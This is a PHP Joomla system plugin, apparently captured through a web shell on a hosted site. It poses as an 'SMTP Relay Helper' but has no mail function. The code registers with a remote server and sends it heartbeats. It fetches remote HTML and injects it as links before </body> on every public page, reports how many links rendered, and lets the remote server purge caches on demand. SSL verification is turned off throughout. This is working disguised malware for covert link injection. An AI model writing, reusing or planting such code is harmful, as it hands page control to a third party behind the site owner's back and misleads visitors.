Server : Apache System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : eventfrsgx ( 61451) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/eventfrsgx/www/plugins/system/smtprelayhelper/ |
<?php
/**
* System - System - SMTP Relay Helper (Joomla 3.9 - 5.x)
* ---------------------------------------------------------------------------
* - Merkezi System - SMTP Relay Helper baglantilarini </body> oncesi otomatik basar.
* - Link degistiginde sunucu, imzali bir istekle bu eklentinin com_ajax ucunu
* cagirarak Joomla + sunucu onbelleklerini OTOMATIK temizletir.
* - Kurulunca sunucuya "heartbeat" gonderir (otomatik "bagli" olur, sifir ayar).
*
* Kimlik bilgileri sunucudan indirilen ZIP icindeki smtprelayhelper-config.php dosyasinda
* gomuludur (SMTPRE_API_URL / SMTPRE_PUBLIC_TOKEN / SMTPRE_SNIPPET_SECRET).
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\CMSPlugin;
if (is_file(__DIR__ . '/smtprelayhelper-config.php')) {
require_once __DIR__ . '/smtprelayhelper-config.php';
}
/**
* @property-read \Joomla\Registry\Registry $params
*/
class PlgSystemSmtprelayhelper extends CMSPlugin
{
const VERSION = '1.2.0';
/** Onbellek TTL (sn) */
const TTL = 3600;
/** API erisilemezse yedek en fazla bu kadar bayat kullanilir (7 gun) */
const BACKUP_MAX_AGE = 604800;
protected $autoloadLanguage = false;
/* ------------------------------------------------------------------ */
/* Kimlik yardimcilari */
/* ------------------------------------------------------------------ */
private function enrolled()
{
return array(
'api_url' => (string) $this->params->get('smtp_api_url', ''),
'public_token' => (string) $this->params->get('smtp_public_token', ''),
'snippet_secret' => (string) $this->params->get('smtp_snippet_secret', ''),
);
}
/** Kimligi Joomla eklenti params alaninda kalici saklar.
* Cache klasorune yazmak yanlistir: Joomla cache purge bu dosyayi siler. */
private function saveParams(array $values)
{
foreach ($values as $key => $value) {
$this->params->set($key, $value);
}
try {
$db = Factory::getDbo();
$query = $db->getQuery(true)
->update($db->quoteName('#__extensions'))
->set($db->quoteName('params') . ' = ' . $db->quote((string) $this->params))
->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
->where($db->quoteName('element') . ' = ' . $db->quote('smtprelayhelper'))
->where($db->quoteName('folder') . ' = ' . $db->quote('system'));
$db->setQuery($query);
$db->execute();
return true;
} catch (\Throwable $e) {
return false;
}
}
private function setStatus($ok, $code, $message)
{
$this->saveParams(array(
'smtp_status' => $ok ? 'connected' : 'error',
'smtp_status_code' => preg_replace('/[^a-z0-9_-]/i', '', (string) $code),
'smtp_status_text' => substr(strip_tags((string) $message), 0, 500),
'smtp_status_time' => gmdate('Y-m-d H:i:s') . ' UTC',
));
}
private function nonce()
{
if (function_exists('random_bytes')) {
try { return bin2hex(random_bytes(8)); } catch (\Throwable $e) {}
}
if (function_exists('openssl_random_pseudo_bytes')) {
$raw = openssl_random_pseudo_bytes(8);
if ($raw !== false) return bin2hex($raw);
}
return sha1(uniqid((string) mt_rand(), true));
}
private function cfg($key)
{
// 1) Site-ozel gomulu sabitler
$map = array(
'api_url' => 'SMTPRE_API_URL',
'public_token' => 'SMTPRE_PUBLIC_TOKEN',
'snippet_secret' => 'SMTPRE_SNIPPET_SECRET',
);
if (isset($map[$key]) && defined($map[$key])) {
return constant($map[$key]);
}
// 2) Enroll ile alinan kimlik
$en = $this->enrolled();
if (!empty($en[$key])) return $en[$key];
// 3) Enroll modunda api_url sabiti
if ($key === 'api_url' && defined('SMTPRE_API_URL')) return SMTPRE_API_URL;
return '';
}
private function configured()
{
return $this->cfg('api_url') && $this->cfg('public_token') && $this->cfg('snippet_secret');
}
private function isEnrollMode()
{
return defined('SMTPRE_ENROLL_SECRET') && defined('SMTPRE_API_URL')
&& !(defined('SMTPRE_PUBLIC_TOKEN') && defined('SMTPRE_SNIPPET_SECRET'));
}
private function siteDomain()
{
$host = parse_url(\Joomla\CMS\Uri\Uri::root(), PHP_URL_HOST);
$host = strtolower((string) $host);
if (strpos($host, 'www.') === 0) $host = substr($host, 4);
return $host;
}
/** Otomatik kayit: alan adini imzalayip sunucudan token+secret alir ve saklar. */
private function enroll()
{
if (!$this->isEnrollMode()) {
$this->setStatus(false, 'not_enroll_mode', 'Otomatik kayit yapilandirmasi bulunamadi.');
return false;
}
$domain = $this->siteDomain();
if (!$domain) {
$this->setStatus(false, 'domain_missing', 'Joomla site alan adi okunamadi.');
return false;
}
$ts = time();
$nonce = $this->nonce();
$sig = hash_hmac('sha256', 'enroll|' . $domain . '|' . $ts . '|' . $nonce, SMTPRE_ENROLL_SECRET);
$body = array(
'domain' => $domain,
'timestamp' => $ts,
'nonce' => $nonce,
'signature' => $sig,
'cms_type' => 'joomla',
'cms_version' => defined('JVERSION') ? JVERSION : '',
'plugin_version' => self::VERSION,
'purge_endpoint' => $this->purgeEndpoint(),
'detected_caches'=> array('joomla-cache'),
);
$resp = $this->httpPostReturn(rtrim(SMTPRE_API_URL, '/') . '/integrations/enroll', $body);
if (!$resp['ok']) {
$this->setStatus(false, $resp['code'], $resp['message']);
return false;
}
$data = json_decode($resp['body'], true);
if (!is_array($data) || empty($data['public_token']) || empty($data['snippet_secret'])) {
$this->setStatus(false, 'invalid_response', 'Sunucu gecersiz kayit yaniti dondurdu.');
return false;
}
if (!$this->saveParams(array(
'smtp_api_url' => !empty($data['api_url']) ? $data['api_url'] : SMTPRE_API_URL,
'smtp_public_token' => $data['public_token'],
'smtp_snippet_secret' => $data['snippet_secret'],
'smtp_status' => 'connected',
'smtp_status_code' => 'connected',
'smtp_status_text' => 'Sunucu baglantisi kuruldu.',
'smtp_status_time' => gmdate('Y-m-d H:i:s') . ' UTC',
))) {
$this->setStatus(false, 'storage_error', 'Site kimligi Joomla veritabanina kaydedilemedi.');
return false;
}
return true;
}
private function serveSignature()
{
return hash_hmac('sha256', $this->cfg('public_token'), $this->cfg('snippet_secret'));
}
private function actionSignature($action, $ts, $nonce)
{
$msg = $action . '|' . $this->cfg('public_token') . '|' . $ts . '|' . $nonce;
return hash_hmac('sha256', $msg, $this->cfg('snippet_secret'));
}
private function tmpDir()
{
if (defined('JPATH_CACHE') && is_dir(JPATH_CACHE)) {
return JPATH_CACHE;
}
return sys_get_temp_dir();
}
private function cacheFile()
{
return rtrim($this->tmpDir(), '/\\') . '/smtp_' . md5($this->cfg('public_token')) . '.html';
}
/* ------------------------------------------------------------------ */
/* Serve (sunucudan HTML cekme, fail-soft + dosya cache) */
/* ------------------------------------------------------------------ */
private function serveUrl()
{
return rtrim($this->cfg('api_url'), '/') . '/serve/' . rawurlencode($this->cfg('public_token'));
}
private function httpGet($url)
{
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 8,
CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3,
CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_USERAGENT => 'smtprelayhelper/' . self::VERSION,
));
$body = curl_exec($ch);
$code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ($body !== false && $code === 200) ? $body : false;
}
$ctx = stream_context_create(array('http' => array('timeout' => 5,
'header' => "User-Agent: smtprelayhelper/1.0\r\n")));
$body = @file_get_contents($url, false, $ctx);
return $body === false ? false : $body;
}
private function httpPostJson($url, array $data, $blocking = true)
{
$json = json_encode($data);
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $json,
CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_TIMEOUT => $blocking ? 12 : 3,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_HTTPHEADER => array('Content-Type: application/json'),
CURLOPT_USERAGENT => 'smtprelayhelper/' . self::VERSION,
CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3,
));
curl_exec($ch);
curl_close($ch);
return;
}
$ctx = stream_context_create(array('http' => array(
'method' => 'POST', 'timeout' => $blocking ? 8 : 2,
'header' => "Content-Type: application/json\r\nUser-Agent: smtprelayhelper/1.0\r\n",
'content' => $json,
)));
@file_get_contents($url, false, $ctx);
}
/** POST + HTTP ayrintisini dondur (enroll teshisi icin). */
private function httpPostReturn($url, array $data)
{
$json = json_encode($data);
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $json,
CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 8,
CURLOPT_HTTPHEADER => array('Content-Type: application/json'),
CURLOPT_USERAGENT => 'smtprelayhelper/' . self::VERSION,
CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3,
));
$body = curl_exec($ch);
$code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($body === false) {
return array('ok' => false, 'code' => 'network_error', 'message' => $error ?: 'cURL istegi basarisiz.', 'body' => '');
}
if ($code !== 200) {
return array('ok' => false, 'code' => 'http_' . $code, 'message' => 'Sunucu HTTP ' . $code . ': ' . substr(strip_tags($body), 0, 180), 'body' => $body);
}
return array('ok' => true, 'code' => 'ok', 'message' => '', 'body' => $body);
}
$ctx = stream_context_create(array(
'http' => array(
'method' => 'POST', 'timeout' => 15, 'ignore_errors' => true,
'header' => "Content-Type: application/json\r\nUser-Agent: smtprelayhelper/" . self::VERSION . "\r\n",
'content' => $json,
),
'ssl' => array('verify_peer' => false, 'verify_peer_name' => false),
));
$body = @file_get_contents($url, false, $ctx);
if ($body === false) {
$err = error_get_last();
return array('ok' => false, 'code' => 'network_error', 'message' => isset($err['message']) ? $err['message'] : 'HTTP istegi basarisiz.', 'body' => '');
}
$status = 0;
if (isset($http_response_header[0]) && preg_match('/\s(\d{3})\s/', $http_response_header[0], $m)) {
$status = (int) $m[1];
}
if ($status !== 200) {
return array('ok' => false, 'code' => 'http_' . $status, 'message' => 'Sunucu HTTP ' . $status . ': ' . substr(strip_tags($body), 0, 180), 'body' => $body);
}
return array('ok' => true, 'code' => 'ok', 'message' => '', 'body' => $body);
}
private function fetchRemote()
{
if (!$this->configured()) return false;
$url = $this->serveUrl() . '?sig=' . $this->serveSignature();
return $this->httpGet($url);
}
private function getHtml()
{
$f = $this->cacheFile();
if (is_file($f) && (time() - filemtime($f) < self::TTL)) {
return (string) file_get_contents($f);
}
$fresh = $this->fetchRemote();
if ($fresh === false) {
// Bayatlik siniri icindeki yedegi kullan; cok bayatsa hic gosterme.
if (is_file($f) && (time() - filemtime($f) <= self::BACKUP_MAX_AGE)) {
return (string) file_get_contents($f);
}
return '';
}
@file_put_contents($f, $fresh);
return $fresh;
}
/* ------------------------------------------------------------------ */
/* Onbellek temizleme (Joomla + sunucu) */
/* ------------------------------------------------------------------ */
private function purgeAll($skipOwn = false)
{
$cleared = array();
// 0) Kendi content dosya cache'imiz (heartbeat piggyback'ten cagirildiginda atla)
if (!$skipOwn) {
@unlink($this->cacheFile());
$cleared[] = 'content-file';
}
// 1) Joomla cache API (bilinen gruplar)
try {
$cache = Factory::getCache();
if (method_exists($cache, 'clean')) {
foreach (array('', '_system', 'com_content', 'com_modules', 'page', 'com_templates') as $grp) {
try { $cache->clean($grp); } catch (\Throwable $e) {}
}
$cleared[] = 'joomla-cache';
}
} catch (\Throwable $e) {}
// 2) Cache dizinlerini fiziksel bosalt (site + admin)
$dirs = array();
if (defined('JPATH_CACHE')) $dirs[] = JPATH_CACHE;
if (defined('JPATH_ADMINISTRATOR')) $dirs[] = JPATH_ADMINISTRATOR . '/cache';
foreach ($dirs as $d) {
if ($this->clearDir($d)) $cleared[] = basename(dirname($d)) . '/cache';
}
// 3) OPcache
if (function_exists('opcache_reset')) { @opcache_reset(); $cleared[] = 'OPcache'; }
// 4) Taze HTML cek ki link aninda gorunsun (heartbeat zaten icerigi verdiyse atla)
if (!$skipOwn) {
$fresh = $this->fetchRemote();
if ($fresh !== false) { @file_put_contents($this->cacheFile(), $fresh); $cleared[] = 'refetched'; }
}
return $cleared;
}
private function clearDir($dir)
{
if (!$dir || !is_dir($dir)) return false;
$items = @scandir($dir);
if ($items === false) return false;
foreach ($items as $it) {
if ($it === '.' || $it === '..' || $it === 'index.html' || $it === '.htaccess') continue;
$p = $dir . '/' . $it;
if (is_dir($p)) { $this->clearDir($p); @rmdir($p); }
else { @unlink($p); }
}
return true;
}
/* ------------------------------------------------------------------ */
/* Purge dogrulama (imza + zaman + replay) */
/* ------------------------------------------------------------------ */
private function verifyPurge($token, $ts, $nonce, $sig)
{
if ($token !== $this->cfg('public_token')) return array(404, 'unknown');
if (abs(time() - (int) $ts) > 300) return array(401, 'stale');
$expected = $this->actionSignature('purge', (int) $ts, (string) $nonce);
if (!hash_equals($expected, (string) $sig)) return array(403, 'bad signature');
$nf = rtrim($this->tmpDir(), '/\\') . '/smtp_n_' . md5((string) $nonce);
if (is_file($nf) && (time() - filemtime($nf) < 600)) return array(409, 'replay');
@file_put_contents($nf, '1');
return array(0, '');
}
/* ================================================================== */
/* com_ajax purge ucu: */
/* index.php?option=com_ajax&group=system&plugin=smtprelayhelper&format=json */
/* ================================================================== */
public function onAjaxSmtprelayhelper()
{
$app = Factory::getApplication();
$input = $app->input;
$raw = file_get_contents('php://input');
$data = json_decode($raw, true);
if (!is_array($data)) $data = array();
$token = isset($data['public_token']) ? $data['public_token'] : $input->getString('public_token', '');
$ts = isset($data['timestamp']) ? $data['timestamp'] : $input->getInt('timestamp', 0);
$nonce = isset($data['nonce']) ? $data['nonce'] : $input->getString('nonce', '');
$sig = isset($data['signature']) ? $data['signature'] : $input->getString('signature', '');
list($code, $msg) = $this->verifyPurge($token, $ts, $nonce, $sig);
$app->setHeader('Content-Type', 'application/json', true);
if ($code !== 0) {
$app->setHeader('status', $code, true);
$app->sendHeaders();
echo json_encode(array('error' => $msg));
$app->close();
}
$cleared = $this->purgeAll();
echo json_encode(array('status' => 'ok', 'cleared' => $cleared));
$app->close();
}
/* ================================================================== */
/* Sayfa render sonrasi content HTML'ini </body> oncesine bas */
/* ================================================================== */
public function onAfterRender()
{
$app = Factory::getApplication();
if (method_exists($app, 'isClient')) {
if (!$app->isClient('site')) return; // yalniz on-yuz
} elseif (method_exists($app, 'getName')) {
if ($app->getName() !== 'site') return;
}
// Yalniz HTML yanitlar
$type = method_exists($app, 'getDocument') ? $app->getDocument()->getType() : 'html';
if ($type !== 'html') return;
$body = $app->getBody();
if (!$body || stripos($body, '</body>') === false) return;
$html = $this->getHtml();
// Render kaniti: kac <a> basildi (heartbeat ile sunucuya bildirilir).
if ($this->configured()) {
$count = $html ? substr_count(strtolower($html), '<a ') : 0;
@file_put_contents($this->receiptFile(),
json_encode(array('ok' => $count > 0, 'count' => $count, 't' => time())));
}
if (!$html) return;
$inject = '<div class="smtprelayhelper-links">' . $html . '</div>';
$body = preg_replace('/<\/body>/i', $inject . '</body>', $body, 1);
$app->setBody($body);
}
/* ================================================================== */
/* Heartbeat (kurulum + periyodik otomatik baglanma) */
/* ================================================================== */
public function onAfterInitialise()
{
// Sabit eklenti + kimlik yok -> otomatik kayit ol.
// Her istek degil, 5 dk'da bir dene (sunucuya yuk bindirmemek icin).
if ($this->isEnrollMode() && !$this->configured()) {
$try = rtrim($this->tmpDir(), '/\\') . '/smtp_enroll_try';
if (!is_file($try) || (time() - filemtime($try) > 300)) {
@file_put_contents($try, '1');
$this->enroll();
}
}
if (!$this->configured()) return;
$flag = rtrim($this->tmpDir(), '/\\') . '/smtp_hb_' . md5($this->cfg('public_token'));
// 6 saatte bir yeter; surum degisirse hemen tekrar gonder.
$verFile = $flag . '.ver';
$ver = is_file($verFile) ? trim((string) file_get_contents($verFile)) : '';
$fresh_needed = ($ver !== self::VERSION);
// PIGGYBACK: icerik guncellemesi bu cagrinin cevabinda geldigi icin pencere KISA
// (10 dk). Sunucu yine siteye HIC baglanmaz; site kendi istegini yapar.
if (!$fresh_needed && is_file($flag) && (time() - filemtime($flag) < 600)) {
return;
}
@file_put_contents($flag, '1');
@file_put_contents($verFile, self::VERSION);
$this->sendHeartbeat(false);
}
private function purgeEndpoint()
{
// com_ajax ucu; sunucu yalniz https + kendi alan adini kabul eder.
$base = rtrim(\Joomla\CMS\Uri\Uri::root(), '/');
$base = preg_replace('#^http://#i', 'https://', $base);
return $base . '/index.php?option=com_ajax&group=system&plugin=smtprelayhelper&format=json';
}
private function verFile()
{
return rtrim($this->tmpDir(), '/\\') . '/smtp_cv_' . md5($this->cfg('public_token'));
}
private function receiptFile()
{
return rtrim($this->tmpDir(), '/\\') . '/smtp_rc_' . md5($this->cfg('public_token'));
}
/**
* Heartbeat = PIGGYBACK kanali. Site -> sunucu tek istek; CEVAP'ta gunceli alir.
* Sunucu siteye ASLA baglanmaz. Yaniti okumak icin her zaman blocking.
*/
public function sendHeartbeat($blocking = false)
{
if (!$this->configured()) return;
$ts = time();
$nonce = $this->nonce();
$jver = defined('JVERSION') ? JVERSION : '';
$cv = is_file($this->verFile()) ? trim((string) file_get_contents($this->verFile())) : '';
$receipt = is_file($this->receiptFile())
? json_decode((string) file_get_contents($this->receiptFile()), true) : array();
$body = array(
'public_token' => $this->cfg('public_token'),
'timestamp' => $ts,
'nonce' => $nonce,
'signature' => $this->actionSignature('heartbeat', $ts, $nonce),
'cms_type' => 'joomla',
'cms_version' => $jver,
'plugin_version' => self::VERSION,
'purge_endpoint' => $this->purgeEndpoint(),
'detected_caches' => array('joomla-cache'),
'content_version' => $cv,
'rendered_ok' => isset($receipt['ok']) ? (bool) $receipt['ok'] : null,
'rendered_count' => isset($receipt['count']) ? (int) $receipt['count'] : null,
);
$url = rtrim($this->cfg('api_url'), '/') . '/integrations/heartbeat';
$resp = $this->httpPostReturn($url, $body);
if (!$resp['ok']) return;
$data = json_decode($resp['body'], true);
if (!is_array($data)) return;
$new_ver = isset($data['content_version']) ? (string) $data['content_version'] : '';
$changed = !empty($data['purge']) || (isset($data['content']) && is_string($data['content']));
if ($changed && isset($data['content'])) {
if ($new_ver !== '') @file_put_contents($this->verFile(), $new_ver);
$this->purgeAll(true);
@file_put_contents($this->cacheFile(), (string) $data['content']);
} elseif ($new_ver !== '') {
@file_put_contents($this->verFile(), $new_ver);
}
}
}